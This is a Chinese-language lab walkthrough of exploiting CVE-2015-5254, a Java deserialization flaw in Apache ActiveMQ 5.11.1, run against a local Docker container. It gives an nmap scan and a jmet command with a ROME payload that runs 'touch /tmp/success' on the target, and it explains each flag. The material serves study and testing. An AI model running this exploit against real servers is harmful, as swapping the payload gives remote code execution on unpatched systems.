CVE-2015-5254漏洞是Apache ActiveMQ中的一个安全缺陷,ActiveMQ是一个广泛用于应用程序间通信的开源消息服务器。该漏洞影响ActiveMQ至5.13.0版本,其根源在于对发送的JMS ObjectMessage输入数据缺乏过滤。
网络扫描: nmap -p 61616 -Pn -T5 -n -sC -sV 172.17.0.1

通过其下载的docker文件夹启动ActiveMQ 2015:

我们检查ActiveMQ的版本:

它是5.11.1版本
漏洞利用:
对于这个漏洞,我们将使用以下命令:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 172.17.0.1 61616
此命令尝试利用Apache ActiveMQ的CVE-2015-5254漏洞,使用jmet工具。以下是每个选项的解读:
java -jar jmet-0.1.0-all.jar : 运行jmet工具(Java Message Exploitation Tool)使用独立JAR文件(jmet-0.1.0-all.jar)。
-Q event : 指定ActiveMQ中的目标队列(queue),此处名为"event"。工具将通过该队列发送恶意消息。
-I ActiveMQ : 指示目标为Apache ActiveMQ服务器。
-s : 以"stealth"(隐秘)模式启动利用,这有时可以最小化目标上生成的日志或警告。
-Y "touch /tmp/success" : 指定成功时将在目标服务器上执行的有效载荷。在此例中,命令touch /tmp/success在/tmp目录下创建一个名为success的文件,以证明利用成功。
-Yp ROME : 使用"ROME"有效载荷尝试利用漏洞(ROME是工具支持的一种针对ActiveMQ的特定有效载荷类型)。
172.17.0.1 61616 : 指定目标Apache ActiveMQ服务器的IP地址(1720.17.0.1)和端口(61616)。
总结 此命令尝试通过向"event"队列注入恶意消息来利用Apache ActiveMQ上的反序列化漏洞,以远程执行命令。如果利用成功,目标ActiveMQ服务器将执行命令touch /tmp/success,这是利用成功的标志(创建一个文件)。 基本上,我们想要将一个名为success的文件渗透到ActiveMQ服务器的文件系统中,具体在/tmp/目录下。

我们注意到利用已成功完成!!!
我们在Apache ActiveMQ上看到以下检测消息:

我们点击该消息:

我们输入以下一系列命令:
docker ps -a 为了找到正在运行的ActiveMQ容器,我们看到容器19ab278527c7 然后执行: docker exec -it 19ab278527c7 /bin/bash 以通过容器认证到ActiveMQ服务器。
我们注意到认证成功,并已确认在/tmp/下创建了文件success:

利用结束!!!